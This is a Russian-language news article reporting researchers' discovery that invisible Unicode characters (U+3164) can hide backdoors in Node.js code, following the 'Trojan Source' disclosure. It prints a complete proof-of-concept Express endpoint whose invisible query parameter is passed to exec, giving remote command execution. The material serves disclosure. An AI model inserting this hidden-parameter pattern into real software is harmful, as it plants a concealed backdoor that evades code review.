Обнаружена техника сокрытия вредоносных Unicode-закладок в коде Node.js

Изображение: Владимир Чичилимов © ИА Красная Весна
Ноутбук Apple MacBook
Ноутбук Apple MacBook

Техника сокрытия вредоносных закладок в программном коде на языке JavaScript с помощью символов Unicode выявлена специалистами консалтинговой компании в области информационно-коммуникационных технологий Certitude, 9 ноября информация опубликована на сайте компании.

1 ноября группа исследователей Кембриджского университета опубликовала технику внедрения закладок в переданные на рецензию исходные тексты программ. Способ получил код CVE-2021-42574 и имя «Trojan Source». Базируется способ на том, что некоторые символы Unicode меняют направление отображения текста с направления справа налево на слева направо.

Способ работает во многих современных средах разработки кода с различными языками программирования и в разнообразных веб-интерфейсах. Опираясь на это исследование, специалисты предложили еще один метод маскировки закладок с помощью Unicode-символа с кодом \u3164 «HANGUL FILLER».

Этот символ относится к буквам, но у него отсутствует визуальное представление. Для человека символа в тексте попросту нет, но для машины он есть. Был предложен участок кода на языке программирования JavaScript для выполнения на стороне сервера (среда Node.js), использующий символ для сокрытия закладки удаленного доступа (бэкдора).

app.get('/network_health', async (req, res) => {
       const { timeout,ㅤ} = req.query; // const { timeout,ㅤ \u3164}"
       const checkCommands = [
           'ping -c 1 google.com',
           'curl -s http://example.com/', // после запятой следует символ \u3164
       ];
    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});
app.listen(8080);

В списке параметров помимо timeout присутствует символ \u3164. В перечне выполняемых команд (список checkCommands) он также присутствует. Если код запустить на сервер и обратиться к нему, передав параметром произвольную команду, то она будет выполнена вместе с явно отображаемыми в списке checkCommands.

Чтобы техника работала, требуется среда Node.js не менее версии 14.